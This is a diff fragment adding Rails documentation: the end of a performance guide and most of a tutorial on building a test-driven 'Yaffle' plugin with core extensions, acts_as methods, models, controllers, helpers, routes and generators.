+Completed in 5ms (View: 2, DB: 0) | 200 OK [http://0.0.0.0/items]
+</shell>
+
+This data is fairly straightforward to understand. Rails uses millisecond(ms) as the metric to measure the time taken. The complete request spent 5 ms inside Rails, out of which 2 ms were spent rendering views and none was spent communication with the database. It's safe to assume that the remaining 3 ms were spent inside the controller.
+
+Michael Koziarski has an "interesting blog post":http://www.therailsway.com/2009/1/6/requests-per-second explaining the importance of using milliseconds as the metric.
+
+h3. Useful Links
+
+h4. Rails Plugins and Gems
+
+* "Rails Analyzer":http://rails-analyzer.rubyforge.org
+* "Palmist":http://www.flyingmachinestudios.com/projects/
+* "Rails Footnotes":http://github.com/josevalim/rails-footnotes/tree/master
+* "Query Reviewer":http://github.com/dsboulder/query_reviewer/tree/master
+
+h4. Generic Tools
+
+* "httperf":http://www.hpl.hp.com/research/linux/httperf/
+* "ab":http://httpd.apache.org/docs/2.2/programs/ab.html
+* "JMeter":http://jakarta.apache.org/jmeter/
+* "kcachegrind":http://kcachegrind.sourceforge.net/html/Home.html
+
+h4. Tutorials and Documentation
+
+* "ruby-prof API Documentation":http://ruby-prof.rubyforge.org
+* "Request Profiling Railscast":http://railscasts.com/episodes/98-request-profiling - Outdated, but useful for understanding call graphs
+
+h3. Commercial Products
+
+Rails has been lucky to have three startups dedicated to Rails specific performance tools:
+
+* "New Relic":http://www.newrelic.com
+* "Fiveruns":http://www.fiveruns.com
+* "Scout":http://scoutapp.com
+
+h3. Changelog
+
+"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/4
+
+* January 9, 2009: Complete rewrite by "Pratik":credits.html#lifo
+* September 6, 2008: Initial version by Matthew Bergman
diff --git a/vendor/rails/railties/guides/source/plugins.textile b/vendor/rails/railties/guides/source/plugins.textile
new file mode 100644
index 00000000..55ecdcd3
--- /dev/null
+++ b/vendor/rails/railties/guides/source/plugins.textile
@@ -0,0 +1,1512 @@
+h2. The Basics of Creating Rails Plugins
+
+A Rails plugin is either an extension or a modification of the core framework. Plugins provide:
+
+* a way for developers to share bleeding-edge ideas without hurting the stable code base
+* a segmented architecture so that units of code can be fixed or updated on their own release schedule
+* an outlet for the core developers so that they don’t have to include every cool new feature under the sun
+
+After reading this guide you should be familiar with:
+
+* Creating a plugin from scratch
+* Writing and running tests for the plugin
+* Storing models, views, controllers, helpers and even other plugins in your plugins
+* Writing generators
+* Writing custom Rake tasks in your plugin
+* Generating RDoc documentation for your plugin
+* Avoiding common pitfalls with 'init.rb'
+
+This guide describes how to build a test-driven plugin that will:
+
+* Extend core ruby classes like Hash and String
+* Add methods to ActiveRecord::Base in the tradition of the 'acts_as' plugins
+* Add a view helper that can be used in erb templates
+* Add a new generator that will generate a migration
+* Add a custom generator command
+* A custom route method that can be used in routes.rb
+
+For the purpose of this guide pretend for a moment that you are an avid bird watcher.  Your favorite bird is the Yaffle, and you want to create a plugin that allows other developers to share in the Yaffle goodness.  First, you need to get setup for development.
+
+endprologue.
+
+h3. Setup
+
+h4. Create the Basic Application
+
+The examples in this guide require that you have a working rails application.  To create a simple rails app execute:
+
+<pre>
+gem install rails
+rails yaffle_guide
+cd yaffle_guide
+script/generate scaffold bird name:string
+rake db:migrate
+script/server
+</pre>
+
+Then navigate to http://localhost:3000/birds.  Make sure you have a functioning rails app before continuing.
+
+NOTE: The aforementioned instructions will work for sqlite3.  For more detailed instructions on how to create a rails app for other databases see the API docs.
+
+
+h4. Generate the Plugin Skeleton
+
+Rails ships with a plugin generator which creates a basic plugin skeleton. Pass the plugin name, either 'CamelCased' or 'under_scored', as an argument. Pass +--with-generator+ to add an example generator also.
+
+This creates a plugin in 'vendor/plugins' including an 'init.rb' and 'README' as well as standard 'lib', 'task', and 'test' directories.
+
+Examples:
+<pre>
+./script/generate plugin yaffle
+./script/generate plugin yaffle --with-generator
+</pre>
+
+To get more detailed help on the plugin generator, type +./script/generate plugin+.
+
+Later on this guide will describe how to work with generators, so go ahead and generate your plugin with the +--with-generator+ option now:
+
+<pre>
+./script/generate plugin yaffle --with-generator
+</pre>
+
+You should see the following output:
+
+<pre>
+create  vendor/plugins/yaffle/lib
+create  vendor/plugins/yaffle/tasks
+create  vendor/plugins/yaffle/test
+create  vendor/plugins/yaffle/README
+create  vendor/plugins/yaffle/MIT-LICENSE
+create  vendor/plugins/yaffle/Rakefile
+create  vendor/plugins/yaffle/init.rb
+create  vendor/plugins/yaffle/install.rb
+create  vendor/plugins/yaffle/uninstall.rb
+create  vendor/plugins/yaffle/lib/yaffle.rb
+create  vendor/plugins/yaffle/tasks/yaffle_tasks.rake
+create  vendor/plugins/yaffle/test/core_ext_test.rb
+create  vendor/plugins/yaffle/generators
+create  vendor/plugins/yaffle/generators/yaffle
+create  vendor/plugins/yaffle/generators/yaffle/templates
+create  vendor/plugins/yaffle/generators/yaffle/yaffle_generator.rb
+create  vendor/plugins/yaffle/generators/yaffle/USAGE
+</pre>
+
+h4. Organize Your Files
+
+To make it easy to organize your files and to make the plugin more compatible with GemPlugins, start out by altering your file system to look like this:
+
+<pre>
+|-- lib
+|   |-- yaffle
+|   `-- yaffle.rb
+`-- rails
+    |
+    `-- init.rb
+</pre>
+
+*vendor/plugins/yaffle/rails/init.rb*
+
+<ruby>
+require 'yaffle'
+</ruby>
+
+Now you can add any 'require' statements to 'lib/yaffle.rb' and keep 'init.rb' clean.
+
+h3. Tests
+
+In this guide you will learn how to test your plugin against multiple different database adapters using Active Record.  To setup your plugin to allow for easy testing you'll need to add 3 files:
+
+ * A 'database.yml' file with all of your connection strings
+ * A 'schema.rb' file with your table definitions
+ * A test helper method that sets up the database
+
+h4. Test Setup
+
+*vendor/plugins/yaffle/test/database.yml:*
+
+<pre>
+sqlite:
+  :adapter: sqlite
+  :dbfile: vendor/plugins/yaffle/test/yaffle_plugin.sqlite.db
+
+sqlite3:
+  :adapter: sqlite3
+  :dbfile: vendor/plugins/yaffle/test/yaffle_plugin.sqlite3.db
+
+postgresql:
+  :adapter: postgresql
+  :username: postgres
+  :password: postgres
+  :database: yaffle_plugin_test
+  :min_messages: ERROR
+
+mysql:
+  :adapter: mysql
+  :host: localhost
+  :username: root
+  :password: password
+  :database: yaffle_plugin_test
+</pre>
+
+For this guide you'll need 2 tables/models, Hickwalls and Wickwalls, so add the following:
+
+*vendor/plugins/yaffle/test/schema.rb:*
+
+<ruby>
+ActiveRecord::Schema.define(:version => 0) do
+  create_table :hickwalls, :force => true do |t|
+    t.string :name
+    t.string :last_squawk
+    t.datetime :last_squawked_at
+  end
+  create_table :wickwalls, :force => true do |t|
+    t.string :name
+    t.string :last_tweet
+    t.datetime :last_tweeted_at
+  end
+  create_table :woodpeckers, :force => true do |t|
+    t.string :name
+  end
+end
+</ruby>
+
+*vendor/plugins/yaffle/test/test_helper.rb:*
+
+<ruby>
+ENV['RAILS_ENV'] = 'test'
+ENV['RAILS_ROOT'] ||= File.dirname(__FILE__) + '/../../../..'
+
+require 'test/unit'
+require File.expand_path(File.join(ENV['RAILS_ROOT'], 'config/environment.rb'))
+
+def load_schema
+  config = YAML::load(IO.read(File.dirname(__FILE__) + '/database.yml'))
+  ActiveRecord::Base.logger = Logger.new(File.dirname(__FILE__) + "/debug.log")
+
+  db_adapter = ENV['DB']
+
+  # no db passed, try one of these fine config-free DBs before bombing.
+  db_adapter ||=
+    begin
+      require 'rubygems'
+      require 'sqlite'
+      'sqlite'
+    rescue MissingSourceFile
+      begin
+        require 'sqlite3'
+        'sqlite3'
+      rescue MissingSourceFile
+      end
+    end
+
+  if db_adapter.nil?
+    raise "No DB Adapter selected. Pass the DB= option to pick one, or install Sqlite or Sqlite3."
+  end
+
+  ActiveRecord::Base.establish_connection(config[db_adapter])
+  load(File.dirname(__FILE__) + "/schema.rb")
+  require File.dirname(__FILE__) + '/../rails/init.rb'
+end
+</ruby>
+
+Now whenever you write a test that requires the database, you can call 'load_schema'.
+
+h4. Run the Plugin Tests
+
+Once you have these files in place, you can write your first test to ensure that your plugin-testing setup is correct.  By default rails generates a file in 'vendor/plugins/yaffle/test/yaffle_test.rb' with a sample test.  Replace the contents of that file with:
+
+*vendor/plugins/yaffle/test/yaffle_test.rb:*
+
+<ruby>
+require File.dirname(__FILE__) + '/test_helper.rb'
+
+class YaffleTest < Test::Unit::TestCase
+  load_schema
+
+  class Hickwall < ActiveRecord::Base
+  end
+
+  class Wickwall < ActiveRecord::Base
+  end
+
+  def test_schema_has_loaded_correctly
+    assert_equal [], Hickwall.all
+    assert_equal [], Wickwall.all
+  end
+
+end
+</ruby>
+
+To run this, go to the plugin directory and run +rake+:
+
+<pre>
+cd vendor/plugins/yaffle
+rake
+</pre>
+
+You should see output like:
+
+<shell>
+/opt/local/bin/ruby -Ilib:lib "/opt/local/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake/rake_test_loader.rb" "test/yaffle_test.rb"
+  create_table(:hickwalls, {:force=>true})
+   -> 0.0220s
+-- create_table(:wickwalls, {:force=>true})
+   -> 0.0077s
+-- initialize_schema_migrations_table()
+   -> 0.0007s
+-- assume_migrated_upto_version(0)
+   -> 0.0007s
+Loaded suite /opt/local/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake/rake_test_loader
+Started
+.
+Finished in 0.002236 seconds.
+
+1 test, 1 assertion, 0 failures, 0 errors
+</shell>
+
+By default the setup above runs your tests with sqlite or sqlite3.  To run tests with one of the other connection strings specified in database.yml, pass the DB environment variable to rake:
+
+<shell>
+rake DB=sqlite
+rake DB=sqlite3
+rake DB=mysql
+rake DB=postgresql
+</shell>
+
+Now you are ready to test-drive your plugin!
+
+h3. Extending Core Classes
+
+This section will explain how to add a method to String that will be available anywhere in your rails app.
+
+In this example you will add a method to String named +to_squawk+.  To begin, create a new test file with a few assertions:
+
+* *vendor/plugins/yaffle/test/core_ext_test.rb*
+
+<ruby>
+require File.dirname(__FILE__) + '/test_helper.rb'
+
+class CoreExtTest < Test::Unit::TestCase
+  def test_to_squawk_prepends_the_word_squawk
+    assert_equal "squawk! Hello World", "Hello World".to_squawk
+  end
+end
+</ruby>
+
+Navigate to your plugin directory and run +rake test+:
+
+<shell>
+cd vendor/plugins/yaffle
+rake test
+</shell>
+
+The test above should fail with the message:
+
+<shell>
+ 1) Error:
+test_to_squawk_prepends_the_word_squawk(CoreExtTest):
+NoMethodError: undefined method `to_squawk' for "Hello World":String
+    ./test/core_ext_test.rb:5:in `test_to_squawk_prepends_the_word_squawk'
+</shell>
+
+Great - now you are ready to start development.
+
+Then in 'lib/yaffle.rb' require 'lib/core_ext.rb':
+
+* *vendor/plugins/yaffle/lib/yaffle.rb*
+
+<ruby>
+require "yaffle/core_ext"
+</ruby>
+
+Finally, create the 'core_ext.rb' file and add the 'to_squawk' method:
+
+* *vendor/plugins/yaffle/lib/yaffle/core_ext.rb*
+
+<ruby>
+String.class_eval do
+  def to_squawk
+    "squawk! #{self}".strip
+  end
+end
+</ruby>
+
+To test that your method does what it says it does, run the unit tests with +rake+ from your plugin directory.  To see this in action, fire up a console and start squawking:
+
+<shell>
+$ ./script/console
+>> "Hello World".to_squawk
+=> "squawk! Hello World"
+</shell>
+
+h4. Working with +init.rb+
+
+When rails loads plugins it looks for the file named 'init.rb' or 'rails/init.rb'.  However, when the plugin is initialized, 'init.rb' is invoked via +eval+ (not +require+) so it has slightly different behavior.
+
+Under certain circumstances if you reopen classes or modules in 'init.rb' you may inadvertently create a new class, rather than reopening an existing class.  A better alternative is to reopen the class in a different file, and require that file from +init.rb+, as shown above.
+
+If you must reopen a class in +init.rb+ you can use +module_eval+ or +class_eval+ to avoid any issues:
+
+* *vendor/plugins/yaffle/rails/init.rb*
+
+<ruby>
+Hash.class_eval do
+  def is_a_special_hash?
+    true
+  end
+end
+</ruby>
+
+Another way is to explicitly define the top-level module space for all modules and classes, like +::Hash+:
+
+* *vendor/plugins/yaffle/rails/init.rb*
+
+<ruby>
+class ::Hash
+  def is_a_special_hash?
+    true
+  end
+end
+</ruby>
+
+h3. Add an "acts_as" Method to Active Record
+
+A common pattern in plugins is to add a method called 'acts_as_something' to models.  In this case, you want to write a method called 'acts_as_yaffle' that adds a 'squawk' method to your models.
+
+To begin, set up your files so that you have:
+
+* *vendor/plugins/yaffle/test/acts_as_yaffle_test.rb*
+
+<ruby>
+require File.dirname(__FILE__) + '/test_helper.rb'
+
+class ActsAsYaffleTest < Test::Unit::TestCase
+end
+</ruby>
+
+* *vendor/plugins/yaffle/lib/yaffle.rb*
+
+<ruby>
+require 'yaffle/acts_as_yaffle'
+</ruby>
+
+* *vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb*
+
+<ruby>
+module Yaffle
+  # your code will go here
+end
+</ruby>
+
+Note that after requiring 'acts_as_yaffle' you also have to include it into ActiveRecord::Base so that your plugin methods will be available to the rails models.
+
+One of the most common plugin patterns for 'acts_as_yaffle' plugins is to structure your file like so:
+
+* *vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb*
+
+<ruby>
+module Yaffle
+  def self.included(base)
+    base.send :extend, ClassMethods
+  end
+
+  module ClassMethods
+    # any method placed here will apply to classes, like Hickwall
+    def acts_as_something
+      send :include, InstanceMethods
+    end
+  end
+
+  module InstanceMethods
+    # any method placed here will apply to instaces, like @hickwall
+  end
+end
+</ruby>
+
+With structure you can easily separate the methods that will be used for the class (like +Hickwall.some_method+) and the instance (like +@hickwell.some_method+).
+
+h4. Add a Class Method
+
+This plugin will expect that you've added a method to your model named 'last_squawk'.  However, the plugin users might have already defined a method on their model named 'last_squawk' that they use for something else.  This plugin will allow the name to be changed by adding a class method called 'yaffle_text_field'.
+
+To start out, write a failing test that shows the behavior you'd like:
+
+* *vendor/plugins/yaffle/test/acts_as_yaffle_test.rb*
+
+<ruby>
+require File.dirname(__FILE__) + '/test_helper.rb'
+
+class Hickwall < ActiveRecord::Base
+  acts_as_yaffle
+end
+
+class Wickwall < ActiveRecord::Base
+  acts_as_yaffle :yaffle_text_field => :last_tweet
+end
+
+class ActsAsYaffleTest < Test::Unit::TestCase
+  load_schema
+
+  def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
+    assert_equal "last_squawk", Hickwall.yaffle_text_field
+  end
+
+  def test_a_wickwalls_yaffle_text_field_should_be_last_tweet
+    assert_equal "last_tweet", Wickwall.yaffle_text_field
+  end
+end
+</ruby>
+
+To make these tests pass, you could modify your +acts_as_yaffle+ file like so:
+
+* *vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb*
+
+<ruby>
+module Yaffle
+  def self.included(base)
+    base.send :extend, ClassMethods
+  end
+
+  module ClassMethods
+    def acts_as_yaffle(options = {})
+      cattr_accessor :yaffle_text_field
+      self.yaffle_text_field = (options[:yaffle_text_field] || :last_squawk).to_s
+    end
+  end
+end
+
+ActiveRecord::Base.send :include, Yaffle
+</ruby>
+
+h4. Add an Instance Method
+
+This plugin will add a method named 'squawk' to any Active Record objects that call 'acts_as_yaffle'.  The 'squawk' method will simply set the value of one of the fields in the database.
+
+To start out, write a failing test that shows the behavior you'd like:
+
+* *vendor/plugins/yaffle/test/acts_as_yaffle_test.rb*
+
+<ruby>
+require File.dirname(__FILE__) + '/test_helper.rb'
+
+class Hickwall < ActiveRecord::Base
+  acts_as_yaffle
+end
+
+class Wickwall < ActiveRecord::Base
+  acts_as_yaffle :yaffle_text_field => :last_tweet
+end
+
+class ActsAsYaffleTest < Test::Unit::TestCase
+  load_schema
+
+  def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
+    assert_equal "last_squawk", Hickwall.yaffle_text_field
+  end
+
+  def test_a_wickwalls_yaffle_text_field_should_be_last_tweet
+    assert_equal "last_tweet", Wickwall.yaffle_text_field
+  end
+
+  def test_hickwalls_squawk_should_populate_last_squawk
+    hickwall = Hickwall.new
+    hickwall.squawk("Hello World")
+    assert_equal "squawk! Hello World", hickwall.last_squawk
+  end
+
+  def test_wickwalls_squawk_should_populate_last_tweeted_at
+    wickwall = Wickwall.new
+    wickwall.squawk("Hello World")
+    assert_equal "squawk! Hello World", wickwall.last_tweet
+  end
+end
+</ruby>
+
+Run this test to make sure the last two tests fail, then update 'acts_as_yaffle.rb' to look like this:
+
+* *vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb*
+
+<ruby>
+module Yaffle
+  def self.included(base)
+    base.send :extend, ClassMethods
+  end
+
+  module ClassMethods
+    def acts_as_yaffle(options = {})
+      cattr_accessor :yaffle_text_field
+      self.yaffle_text_field = (options[:yaffle_text_field] || :last_squawk).to_s
+      send :include, InstanceMethods
+    end
+  end
+
+  module InstanceMethods
+    def squawk(string)
+      write_attribute(self.class.yaffle_text_field, string.to_squawk)
+    end
+  end
+end
+
+ActiveRecord::Base.send :include, Yaffle
+</ruby>
+
+NOTE: The use of +write_attribute+ to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use.  For example, you could also use +send("#{self.class.yaffle_text_field}=", string.to_squawk)+.
+
+h3. Models
+
+This section describes how to add a model named 'Woodpecker' to your plugin that will behave the same as a model in your main app.  When storing models, controllers, views and helpers in your plugin, it's customary to keep them in directories that match the rails directories.  For this example, create a file structure like this:
+
+<shell>
+vendor/plugins/yaffle/
+|-- lib
+|   |-- app
+|   |   |-- controllers
+|   |   |-- helpers
+|   |   |-- models
+|   |   |   `-- woodpecker.rb
+|   |   `-- views
+|   |-- yaffle
+|   |   |-- acts_as_yaffle.rb
+|   |   |-- commands.rb
+|   |   `-- core_ext.rb
+|   `-- yaffle.rb
+</shell>
+
+As always, start with a test:
+
+* *vendor/plugins/yaffle/test/woodpecker_test.rb:*
+
+<ruby>
+require File.dirname(__FILE__) + '/test_helper.rb'
+
+class WoodpeckerTest < Test::Unit::TestCase
+  load_schema
+
+  def test_woodpecker
+    assert_kind_of Woodpecker, Woodpecker.new
+  end
+end
+</ruby>
+
+This is just a simple test to make sure the class is being loaded correctly.  After watching it fail with +rake+, you can make it pass like so:
+
+* *vendor/plugins/yaffle/lib/yaffle.rb:*
+
+<ruby>
+%w{ models }.each do |dir|
+  path = File.join(File.dirname(__FILE__), 'app', dir)
+  $LOAD_PATH << path
+  ActiveSupport::Dependencies.load_paths << path
+  ActiveSupport::Dependencies.load_once_paths.delete(path)
+end
+</ruby>
+
+Adding directories to the load path makes them appear just like files in the the main app directory - except that they are only loaded once, so you have to restart the web server to see the changes in the browser.  Removing directories from the 'load_once_paths' allow those changes to picked up as soon as you save the file - without having to restart the web server.  This is particularly useful as you develop the plugin.
+
+* *vendor/plugins/yaffle/lib/app/models/woodpecker.rb:*
+
+<ruby>
+class Woodpecker < ActiveRecord::Base
+end
+</ruby>
+
+Finally, add the following to your plugin's 'schema.rb':
+
+* *vendor/plugins/yaffle/test/schema.rb:*
+
+<ruby>
+create_table :woodpeckers, :force => true do |t|
+  t.string :name
+end
+</ruby>
+
+Now your test should be passing, and you should be able to use the Woodpecker model from within your rails app, and any changes made to it are reflected immediately when running in development mode.
+
+h3. Controllers
+
+This section describes how to add a controller named 'woodpeckers' to your plugin that will behave the same as a controller in your main app.  This is very similar to adding a model.
+
+You can test your plugin's controller as you would test any other controller:
+
+* *vendor/plugins/yaffle/test/woodpeckers_controller_test.rb:*
+
+<ruby>
+require File.dirname(__FILE__) + '/test_helper.rb'
+require 'woodpeckers_controller'
+require 'action_controller/test_process'
+
+class WoodpeckersController; def rescue_action(e) raise e end; end
+
+class WoodpeckersControllerTest < Test::Unit::TestCase
+  def setup
+    @controller = WoodpeckersController.new
+    @request = ActionController::TestRequest.new
+    @response = ActionController::TestResponse.new
+
+    ActionController::Routing::Routes.draw do |map|
+      map.resources :woodpeckers
+    end
+  end
+
+  def test_index
+    get :index
+    assert_response :success
+  end
+end
+</ruby>
+
+This is just a simple test to make sure the controller is being loaded correctly.  After watching it fail with +rake+, you can make it pass like so:
+
+* *vendor/plugins/yaffle/lib/yaffle.rb:*
+
+<ruby>
+%w{ models controllers }.each do |dir|
+  path = File.join(File.dirname(__FILE__), 'app', dir)
+  $LOAD_PATH << path
+  ActiveSupport::Dependencies.load_paths << path
+  ActiveSupport::Dependencies.load_once_paths.delete(path)
+end
+</ruby>
+
+* *vendor/plugins/yaffle/lib/app/controllers/woodpeckers_controller.rb:*
+
+<ruby>
+class WoodpeckersController < ActionController::Base
+
+  def index
+    render :text => "Squawk!"
+  end
+
+end
+</ruby>
+
+Now your test should be passing, and you should be able to use the Woodpeckers controller in your app.  If you add a route for the woodpeckers controller you can start up your server and go to http://localhost:3000/woodpeckers to see your controller in action.
+
+h3. Helpers
+
+This section describes how to add a helper named 'WoodpeckersHelper' to your plugin that will behave the same as a helper in your main app.  This is very similar to adding a model and a controller.
+
+You can test your plugin's helper as you would test any other helper:
+
+* *vendor/plugins/yaffle/test/woodpeckers_helper_test.rb*
+
+<ruby>
+require File.dirname(__FILE__) + '/test_helper.rb'
+include WoodpeckersHelper
+
+class WoodpeckersHelperTest < Test::Unit::TestCase
+  def test_tweet
+    assert_equal "Tweet! Hello", tweet("Hello")
+  end
+end
+</ruby>
+
+This is just a simple test to make sure the helper is being loaded correctly.  After watching it fail with +rake+, you can make it pass like so:
+
+* *vendor/plugins/yaffle/lib/yaffle.rb:*
+
+<ruby>
+%w{ models controllers helpers }.each do |dir|
+  path = File.join(File.dirname(__FILE__), 'app', dir)
+  $LOAD_PATH << path
+  ActiveSupport::Dependencies.load_paths << path
+  ActiveSupport::Dependencies.load_once_paths.delete(path)
+end
+</ruby>
+
+* *vendor/plugins/yaffle/lib/app/helpers/woodpeckers_helper.rb:*
+
+<ruby>
+module WoodpeckersHelper
+
+  def tweet(text)
+    "Tweet! #{text}"
+  end
+
+end
+</ruby>
+
+Now your test should be passing, and you should be able to use the Woodpeckers helper in your app.
+
+h3. Routes
+
+In a standard 'routes.rb' file you use routes like 'map.connect' or 'map.resources'.  You can add your own custom routes from a plugin.  This section will describe how to add a custom method called that can be called with 'map.yaffles'.
+
+Testing routes from plugins is slightly different from testing routes in a standard rails app.  To begin, add a test like this:
+
+* *vendor/plugins/yaffle/test/routing_test.rb*
+
+<ruby>
+require "#{File.dirname(__FILE__)}/test_helper"
+
+class RoutingTest < Test::Unit::TestCase
+
+  def setup
+    ActionController::Routing::Routes.draw do |map|
+      map.yaffles
+    end
+  end
+
+  def test_yaffles_route
+    assert_recognition :get, "/yaffles", :controller => "yaffles_controller", :action => "index"
+  end
+
+  private
+
+    def assert_recognition(method, path, options)
+      result = ActionController::Routing::Routes.recognize_path(path, :method => method)
+      assert_equal options, result
+    end
+end
+</ruby>
+
+Once you see the tests fail by running 'rake', you can make them pass with:
+
+* *vendor/plugins/yaffle/lib/yaffle.rb*
+
+<ruby>
+require "yaffle/routing"
+</ruby>
+
+* *vendor/plugins/yaffle/lib/yaffle/routing.rb*
+
+<ruby>
+module Yaffle #:nodoc:
+  module Routing #:nodoc:
+    module MapperExtensions
+      def yaffles
+        @set.add_route("/yaffles", {:controller => "yaffles_controller", :action => "index"})
+      end
+    end
+  end
+end
+
+ActionController::Routing::RouteSet::Mapper.send :include, Yaffle::Routing::MapperExtensions
+</ruby>
+
+* *config/routes.rb*
+
+<ruby>
+ActionController::Routing::Routes.draw do |map|
+  map.yaffles
+end
+</ruby>
+
+You can also see if your routes work by running +rake routes+ from your app directory.
+
+h3. Generators
+
+Many plugins ship with generators.  When you created the plugin above, you specified the +--with-generator+ option, so you already have the generator stubs in 'vendor/plugins/yaffle/generators/yaffle'.
+
+Building generators is a complex topic unto itself and this section will cover one small aspect of generators: generating a simple text file.
+
+h4. Testing Generators
+
+Many rails plugin authors do not test their generators, however testing generators is quite simple.  A typical generator test does the following:
+
+ * Creates a new fake rails root directory that will serve as destination
+ * Runs the generator
+ * Asserts that the correct files were generated
+ * Removes the fake rails root
+
+This section will describe how to create a simple generator that adds a file.  For the generator in this section, the test could look something like this:
+
+* *vendor/plugins/yaffle/test/definition_generator_test.rb*
+
+<ruby>
+require File.dirname(__FILE__) + '/test_helper.rb'
+require 'rails_generator'
+require 'rails_generator/scripts/generate'
+
+class DefinitionGeneratorTest < Test::Unit::TestCase
+
+  def setup
+    FileUtils.mkdir_p(fake_rails_root)
+    @original_files = file_list
+  end
+
+  def teardown
+    FileUtils.rm_r(fake_rails_root)
+  end
+
+  def test_generates_correct_file_name
+    Rails::Generator::Scripts::Generate.new.run(["yaffle_definition"], :destination => fake_rails_root)
+    new_file = (file_list - @original_files).first
+    assert_equal "definition.txt", File.basename(new_file)
+  end
+
+  private
+
+    def fake_rails_root
+      File.join(File.dirname(__FILE__), 'rails_root')
+    end
+
+    def file_list
+      Dir.glob(File.join(fake_rails_root, "*"))
+    end
+
+end
+</ruby>
+
+You can run 'rake' from the plugin directory to see this fail.  Unless you are doing more advanced generator commands it typically suffices to just test the Generate script, and trust that rails will handle the Destroy and Update commands for you.
+
+To make it pass, create the generator:
+
+* *vendor/plugins/yaffle/generators/yaffle_definition/yaffle_definition_generator.rb*
+
+<ruby>
+class YaffleDefinitionGenerator < Rails::Generator::Base
+  def manifest
+    record do |m|
+      m.file "definition.txt", "definition.txt"
+    end
+  end
+end
+</ruby>
+
+h4. The +USAGE+ File
+
+If you plan to distribute your plugin, developers will expect at least a minimum of documentation.  You can add simple documentation to the generator by updating the USAGE file.
+
+Rails ships with several built-in generators.  You can see all of the generators available to you by typing the following at the command line:
+
+<shell>
+./script/generate
+</shell>
+
+You should see something like this:
+
+<shell>
+Installed Generators
+  Plugins (vendor/plugins): yaffle_definition
+  Builtin: controller, integration_test, mailer, migration, model, observer, plugin, resource, scaffold, session_migration
+</shell>
+
+When you run +script/generate yaffle_definition -h+ you should see the contents of your 'vendor/plugins/yaffle/generators/yaffle_definition/USAGE'.
+
+For this plugin, update the USAGE file could look like this:
+
+<shell>
+Description:
+    Adds a file with the definition of a Yaffle to the app's main directory
+</shell>
+
+h3. Add a Custom Generator Command
+
+You may have noticed above that you can used one of the built-in rails migration commands +migration_template+.  If your plugin needs to add and remove lines of text from existing files you will need to write your own generator methods.
+
+This section describes how you you can create your own commands to add and remove a line of text from 'routes.rb'.  This example creates a very simple method that adds or removes a text file.
+
+To start, add the following test method:
+
+* *vendor/plugins/yaffle/test/generator_test.rb*
+
+<ruby>
+def test_generates_definition
+  Rails::Generator::Scripts::Generate.new.run(["yaffle", "bird"], :destination => fake_rails_root)
+  definition = File.read(File.join(fake_rails_root, "definition.txt"))
+  assert_match /Yaffle\:/, definition
+end
+</ruby>
+
+Run +rake+ to watch the test fail, then make the test pass add the following:
+
+* *vendor/plugins/yaffle/generators/yaffle/templates/definition.txt*
+
+<shell>
+Yaffle: A bird
+</shell>
+
+* *vendor/plugins/yaffle/lib/yaffle.rb*
+
+<ruby>
+require "yaffle/commands"
+</ruby>
+
+* *vendor/plugins/yaffle/lib/commands.rb*
+
+<ruby>
+require 'rails_generator'
+require 'rails_generator/commands'
+
+module Yaffle #:nodoc:
+  module Generator #:nodoc:
+    module Commands #:nodoc:
+      module Create
+        def yaffle_definition
+          file("definition.txt", "definition.txt")
+        end
+      end
+
+      module Destroy
+        def yaffle_definition
+          file("definition.txt", "definition.txt")
+        end
+      end
+
+      module List
+        def yaffle_definition
+          file("definition.txt", "definition.txt")
+        end
+      end
+
+      module Update
+        def yaffle_definition
+          file("definition.txt", "definition.txt")
+        end
+      end
+    end
+  end
+end
+
+Rails::Generator::Commands::Create.send   :include,  Yaffle::Generator::Commands::Create
+Rails::Generator::Commands::Destroy.send  :include,  Yaffle::Generator::Commands::Destroy
+Rails::Generator::Commands::List.send     :include,  Yaffle::Generator::Commands::List
+Rails::Generator::Commands::Update.send   :include,  Yaffle::Generator::Commands::Update
+</ruby>
+
+Finally, call your new method in the manifest:
+
+* *vendor/plugins/yaffle/generators/yaffle/yaffle_generator.rb*
+
+<ruby>
+class YaffleGenerator < Rails::Generator::NamedBase
+  def manifest
+    m.yaffle_definition
+  end
+end
+</ruby>
+
+h3. Generator Commands
+
+You may have noticed above that you can used one of the built-in rails migration commands +migration_template+.  If your plugin needs to add and remove lines of text from existing files you will need to write your own generator methods.
+
+This section describes how you you can create your own commands to add and remove a line of text from 'config/routes.rb'.
+
+To start, add the following test method:
+
+* *vendor/plugins/yaffle/test/route_generator_test.rb*
+
+<ruby>
+require File.dirname(__FILE__) + '/test_helper.rb'
+require 'rails_generator'
+require 'rails_generator/scripts/generate'
+require 'rails_generator/scripts/destroy'
+
+class RouteGeneratorTest < Test::Unit::TestCase
+
+  def setup
+    FileUtils.mkdir_p(File.join(fake_rails_root, "config"))
+  end
+
+  def teardown
+    FileUtils.rm_r(fake_rails_root)
+  end
+
+  def test_generates_route
+    content = <<-END
+      ActionController::Routing::Routes.draw do |map|
+        map.connect ':controller/:action/:id'
+        map.connect ':controller/:action/:id.:format'
+      end
+    END
+    File.open(routes_path, 'wb') {|f| f.write(content) }
+
+    Rails::Generator::Scripts::Generate.new.run(["yaffle_route"], :destination => fake_rails_root)
+    assert_match /map\.yaffles/, File.read(routes_path)
+  end
+
+  def test_destroys_route
+    content = <<-END
+      ActionController::Routing::Routes.draw do |map|
+        map.yaffles
+        map.connect ':controller/:action/:id'
+        map.connect ':controller/:action/:id.:format'
+      end
+    END
+    File.open(routes_path, 'wb') {|f| f.write(content) }
+
+    Rails::Generator::Scripts::Destroy.new.run(["yaffle_route"], :destination => fake_rails_root)
+    assert_no_match /map\.yaffles/, File.read(routes_path)
+  end
+
+  private
+
+    def fake_rails_root
+      File.join(File.dirname(__FILE__), "rails_root")
+    end
+
+    def routes_path
+      File.join(fake_rails_root, "config", "routes.rb")
+    end
+
+end
+</ruby>
+
+Run +rake+ to watch the test fail, then make the test pass add the following:
+
+* *vendor/plugins/yaffle/lib/yaffle.rb*
+
+<ruby>
+require "yaffle/commands"
+</ruby>
+
